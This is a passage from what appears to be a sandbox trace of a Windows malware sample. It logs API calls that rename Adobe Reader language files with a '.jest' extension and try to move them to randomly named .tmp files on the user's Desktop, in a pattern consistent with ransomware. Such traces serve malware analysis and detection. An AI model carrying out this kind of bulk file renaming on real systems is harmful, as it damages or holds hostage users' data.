HALPmcxz\\Desktop\\Hx1cQJsposN8dtTHBu_iM5tRMBxh2ljHHPxcOdpJqH7lzuezpjrufm1Y9Szlj4DfPpoXMHIg8TIoSUIJZ6GlnBkNJJs6o2VEkjxJl.tmp", lpFilePart=0x18e6e4*="Hx1cQJsposN8dtTHBu_iM5tRMBxh2ljHHPxcOdpJqH7lzuezpjrufm1Y9Szlj4DfPpoXMHIg8TIoSUIJZ6GlnBkNJJs6o2VEkjxJl.tmp") returned 0x8f [0150.627] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hx1cQJsposN8dtTHBu_iM5tRMBxh2ljHHPxcOdpJqH7lzuezpjrufm1Y9Szlj4DfPpoXMHIg8TIoSUIJZ6GlnBkNJJs6o2VEkjxJl.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x63317848, cFileName="QJsposN8dtTHBu_iM5tRMBxh2ljHHPxcOdpJqH7lzuezpjrufm1Y9Szlj4DfPpoXMHIg8TIoSUIJZ6GlnBkNJJs6o2VEkjxJl.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.627] GetLastError () returned 0x2 [0150.627] GetLastError () returned 0x2 [0150.627] SetLastError (dwErrCode=0x2) [0150.627] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.628] CoFreeUnusedLibraries () [0150.628] GetTickCount () returned 0x11576e5 [0150.628] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.628] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.628] GetTickCount () returned 0x11576e5 [0150.628] IsWindowVisible (hWnd=0x30268) returned 0 [0150.628] Sleep (dwMilliseconds=0x0) [0150.628] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt.jest")) returned 1 [0150.629] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.pt_PT.txt") returned 0x6b [0150.629] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ede8, ftLastAccessTime.dwLowDateTime=0x1439710, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.629] GetLastError () returned 0x2 [0150.630] VarBstrFromR4 (in: fltIn=0x47945029, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.32") returned 0x0 [0150.630] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.630] CoFreeUnusedLibraries () [0150.630] GetTickCount () returned 0x11576e5 [0150.630] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.630] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.630] GetTickCount () returned 0x11576e5 [0150.630] IsWindowVisible (hWnd=0x30268) returned 0 [0150.630] Sleep (dwMilliseconds=0x0) [0150.631] GetFullPathNameA (in: lpFileName="SPx57kbzH8JxboKohPEDKJDeVaeRMYOk_0Us2sY-9v83P lNJrr8s0HfIxu35ROLehTjn4FDGFDG6Yfejli_2HocFBr_KpPW97Z3.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SPx57kbzH8JxboKohPEDKJDeVaeRMYOk_0Us2sY-9v83P lNJrr8s0HfIxu35ROLehTjn4FDGFDG6Yfejli_2HocFBr_KpPW97Z3.tmp", lpFilePart=0x18e708*="SPx57kbzH8JxboKohPEDKJDeVaeRMYOk_0Us2sY-9v83P lNJrr8s0HfIxu35ROLehTjn4FDGFDG6Yfejli_2HocFBr_KpPW97Z3.tmp") returned 0x8e [0150.631] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt", lpFilePart=0x18e708*="DisplayLanguageNames.pt_PT.txt") returned 0x6b [0150.631] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SPx57kbzH8JxboKohPEDKJDeVaeRMYOk_0Us2sY-9v83P lNJrr8s0HfIxu35ROLehTjn4FDGFDG6Yfejli_2HocFBr_KpPW97Z3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\spx57kbzh8jxbokohpedkjdevaermyok_0us2sy-9v83p lnjrr8s0hfixu35rolehtjn4fdgfdg6yfejli_2hocfbr_kppw97z3.tmp")) returned 0 [0150.632] GetLastError () returned 0x2 [0150.632] GetLastError () returned 0x2 [0150.632] SetLastError (dwErrCode=0x2) [0150.632] GetLastError () returned 0x2 [0150.632] SetLastError (dwErrCode=0x2) [0150.632] GetLastError () returned 0x2 [0150.632] SetLastError (dwErrCode=0x2) [0150.632] GetFullPathNameA (in: lpFileName="SPx57kbzH8JxboKohPEDKJDeVaeRMYOk_0Us2sY-9v83P lNJrr8s0HfIxu35ROLehTjn4FDGFDG6Yfejli_2HocFBr_KpPW97Z3.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SPx57kbzH8JxboKohPEDKJDeVaeRMYOk_0Us2sY-9v83P lNJrr8s0HfIxu35ROLehTjn4FDGFDG6Yfejli_2HocFBr_KpPW97Z3.tmp", lpFilePart=0x18e6e4*="SPx57kbzH8JxboKohPEDKJDeVaeRMYOk_0Us2sY-9v83P lNJrr8s0HfIxu35ROLehTjn4FDGFDG6Yfejli_2HocFBr_KpPW97Z3.tmp") returned 0x8e [0150.632] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SPx57kbzH8JxboKohPEDKJDeVaeRMYOk_0Us2sY-9v83P lNJrr8s0HfIxu35ROLehTjn4FDGFDG6Yfejli_2HocFBr_KpPW97Z3.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x35785053, cFileName="7kbzH8JxboKohPEDKJDeVaeRMYOk_0Us2sY-9v83P lNJrr8s0HfIxu35ROLehTjn4FDGFDG6Yfejli_2HocFBr_KpPW97Z3.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.632] GetLastError () returned 0x2 [0150.632] GetLastError () returned 0x2 [0150.632] SetLastError (dwErrCode=0x2) [0150.633] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.633] CoFreeUnusedLibraries () [0150.633] GetTickCount () returned 0x11576e5 [0150.633] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.633] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.633] GetTickCount () returned 0x11576e5 [0150.633] IsWindowVisible (hWnd=0x30268) returned 0 [0150.633] Sleep (dwMilliseconds=0x0) [0150.634] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt.jest")) returned 1 [0150.645] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.pt_PT_PREEURO.txt") returned 0x73 [0150.645] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x16000016, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x146c928, ftLastAccessTime.dwLowDateTime=0x144ecf8, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xb0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x146c820, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.646] GetLastError () returned 0x2 [0150.647] VarBstrFromR4 (in: fltIn=0x4794502b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.34") returned 0x0 [0150.647] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.647] CoFreeUnusedLibraries () [0150.648] GetTickCount () returned 0x11576f5 [0150.648] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.648] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.648] GetTickCount () returned 0x11576f5 [0150.648] IsWindowVisible (hWnd=0x30268) returned 0 [0150.648] Sleep (dwMilliseconds=0x0) [0150.648] GetFullPathNameA (in: lpFileName="iRmG3zcFUF9ciNEouuz3nC9tcSPWZ1lmwFHKZysNqvs4bQHtB1hVO_quSVuzSHwF AZSBmeJP5p95gBLw5G6Z3GLLLrPCfqxkHubB.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iRmG3zcFUF9ciNEouuz3nC9tcSPWZ1lmwFHKZysNqvs4bQHtB1hVO_quSVuzSHwF AZSBmeJP5p95gBLw5G6Z3GLLLrPCfqxkHubB.tmp", lpFilePart=0x18e708*="iRmG3zcFUF9ciNEouuz3nC9tcSPWZ1lmwFHKZysNqvs4bQHtB1hVO_quSVuzSHwF AZSBmeJP5p95gBLw5G6Z3GLLLrPCfqxkHubB.tmp") returned 0x8f [0150.649] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt", lpFilePart=0x18e708*="DisplayLanguageNames.pt_PT_PREEURO.txt") returned 0x73 [0150.649] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.pt_PT_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.pt_pt_preeuro.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iRmG3zcFUF9ciNEouuz3nC9tcSPWZ1lmwFHKZysNqvs4bQHtB1hVO_quSVuzSHwF AZSBmeJP5p95gBLw5G6Z3GLLLrPCfqxkHubB.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\irmg3zcfuf9cineouuz3nc9tcspwz1lmwfhkzysnqvs4bqhtb1hvo_qusvuzshwf azsbmejp5p95gblw5g6z3glllrpcfqxkhubb.tmp")) returned 0 [0150.649] GetLastError () returned 0x2 [0150.649] GetLastError () returned 0x2 [0150.649] SetLastError (dwErrCode=0x2) [0150.650] GetLastError () returned 0x2 [0150.650] SetLastError (dwErrCode=0x2) [0150.650] GetLastError () returned 0x2 [0150.650] SetLastError (dwErrCode=0x2) [0150.650] GetFullPathNameA (in: lpFileName="iRmG3zcFUF9ciNEouuz3nC9tcSPWZ1lmwFHKZysNqvs4bQHtB1hVO_quSVuzSHwF AZSBmeJP5p95gBLw5G6Z3GLLLrPCfqxkHubB.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iRmG3zcFUF9ciNEouuz3nC9tcSPWZ1lmwFHKZysNqvs4bQHtB1hVO_quSVuzSHwF AZSBmeJP5p95gBLw5G6Z3GLLLrPCfqxkHubB.tmp", lpFilePart=0x18e6e4*="iRmG3zcFUF9ciNEouuz3nC9tcSPWZ1lmwFHKZysNqvs4bQHtB1hVO_quSVuzSHwF AZSBmeJP5p95gBLw5G6Z3GLLLrPCfqxkHubB.tmp") returned 0x8f [0150.650] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iRmG3zcFUF9ciNEouuz3nC9tcSPWZ1lmwFHKZysNqvs4bQHtB1hVO_quSVuzSHwF AZSBmeJP5p95gBLw5G6Z3GLLLrPCfqxkHubB.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x476d5269, cFileName="3zcFUF9ciNEouuz3nC9tcSPWZ1lmwFHKZysNqvs4bQHtB1hVO_quSVuzSHwF AZSBmeJP5p95gBLw5G6Z3GLLLrPCfqxkHubB.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.650] GetLastError () returned 0x2 [0150.650] GetLastError () returned 0x2 [0150.650] SetLastError (dwErrCode=0x2) [0150.651] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.651] CoFreeUnusedLibraries () [0150.651] GetTickCount () returned 0x11576f5 [0150.652] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.652] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.652] GetTickCount () returned 0x11576f5 [0150.652] IsWindowVisible (hWnd=0x30268) returned 0 [0150.652] Sleep (dwMilliseconds=0x0) [0150.653] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt.jest")) returned 1 [0150.655] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.nl_NL.txt") returned 0x6b [0150.655] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x18000018, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ede8, ftLastAccessTime.dwLowDateTime=0x146c828, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xc0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.655] GetLastError () returned 0x2 [0150.655] VarBstrFromR4 (in: fltIn=0x4794502b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.34") returned 0x0 [0150.656] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.656] CoFreeUnusedLibraries () [0150.656] GetTickCount () returned 0x11576f5 [0150.656] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.656] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.656] GetTickCount () returned 0x11576f5 [0150.656] IsWindowVisible (hWnd=0x30268) returned 0 [0150.656] Sleep (dwMilliseconds=0x0) [0150.657] GetFullPathNameA (in: lpFileName="2Qtbzou5bix2W4hGHqL_DmNiUdUUVw5ZSrOlpk9zpNlI_ImCRlP42_2kffUrpWQ di 6A4Wc7mp43XFcKnf8aoRb-CoiXlY2HJHd.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2Qtbzou5bix2W4hGHqL_DmNiUdUUVw5ZSrOlpk9zpNlI_ImCRlP42_2kffUrpWQ di 6A4Wc7mp43XFcKnf8aoRb-CoiXlY2HJHd.tmp", lpFilePart=0x18e708*="2Qtbzou5bix2W4hGHqL_DmNiUdUUVw5ZSrOlpk9zpNlI_ImCRlP42_2kffUrpWQ di 6A4Wc7mp43XFcKnf8aoRb-CoiXlY2HJHd.tmp") returned 0x8e [0150.657] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt", lpFilePart=0x18e708*="DisplayLanguageNames.nl_NL.txt") returned 0x6b [0150.657] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2Qtbzou5bix2W4hGHqL_DmNiUdUUVw5ZSrOlpk9zpNlI_ImCRlP42_2kffUrpWQ di 6A4Wc7mp43XFcKnf8aoRb-CoiXlY2HJHd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2qtbzou5bix2w4hghql_dmniuduuvw5zsrolpk9zpnli_imcrlp42_2kffurpwq di 6a4wc7mp43xfcknf8aorb-coixly2hjhd.tmp")) returned 0 [0150.658] GetLastError () returned 0x2 [0150.658] GetLastError () returned 0x2 [0150.658] SetLastError (dwErrCode=0x2) [0150.658] GetLastError () returned 0x2 [0150.658] SetLastError (dwErrCode=0x2) [0150.658] GetLastError () returned 0x2 [0150.658] SetLastError (dwErrCode=0x2) [0150.658] GetFullPathNameA (in: lpFileName="2Qtbzou5bix2W4hGHqL_DmNiUdUUVw5ZSrOlpk9zpNlI_ImCRlP42_2kffUrpWQ di 6A4Wc7mp43XFcKnf8aoRb-CoiXlY2HJHd.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2Qtbzou5bix2W4hGHqL_DmNiUdUUVw5ZSrOlpk9zpNlI_ImCRlP42_2kffUrpWQ di 6A4Wc7mp43XFcKnf8aoRb-CoiXlY2HJHd.tmp", lpFilePart=0x18e6e4*="2Qtbzou5bix2W4hGHqL_DmNiUdUUVw5ZSrOlpk9zpNlI_ImCRlP42_2kffUrpWQ di 6A4Wc7mp43XFcKnf8aoRb-CoiXlY2HJHd.tmp") returned 0x8e [0150.658] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2Qtbzou5bix2W4hGHqL_DmNiUdUUVw5ZSrOlpk9zpNlI_ImCRlP42_2kffUrpWQ di 6A4Wc7mp43XFcKnf8aoRb-CoiXlY2HJHd.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x62745132, cFileName="zou5bix2W4hGHqL_DmNiUdUUVw5ZSrOlpk9zpNlI_ImCRlP42_2kffUrpWQ di 6A4Wc7mp43XFcKnf8aoRb-CoiXlY2HJHd.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0150.658] GetLastError () returned 0x2 [0150.659] GetLastError () returned 0x2 [0150.659] SetLastError (dwErrCode=0x2) [0150.659] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0150.659] CoFreeUnusedLibraries () [0150.659] GetTickCount () returned 0x1157704 [0150.659] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.659] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0150.659] GetTickCount () returned 0x1157704 [0150.659] IsWindowVisible (hWnd=0x30268) returned 0 [0150.659] Sleep (dwMilliseconds=0x0) [0150.660] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt.jest")) returned 1 [0150.661] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt", lpFilePart=0x18e6d8*="DisplayLanguageNames.nl_BE_PREEURO.txt") returned 0x73 [0150.661] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x16000016, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144edf8, ftLastAccessTime.dwLowDateTime=0x146c828, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0xb0, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x1b0, nFileSizeLow=0x144ecf0, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0150.661] GetLastError () returned 0x2 [0150.661] VarBstrFromR4 (in: fltIn=0x4794502d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75936.35") returned 0x0 [0150.662] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0150.662] CoFreeUnusedLibraries () [0150.662] GetTickCount () returned 0x1157704 [0150.662] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0150.662] HeapFree (in: 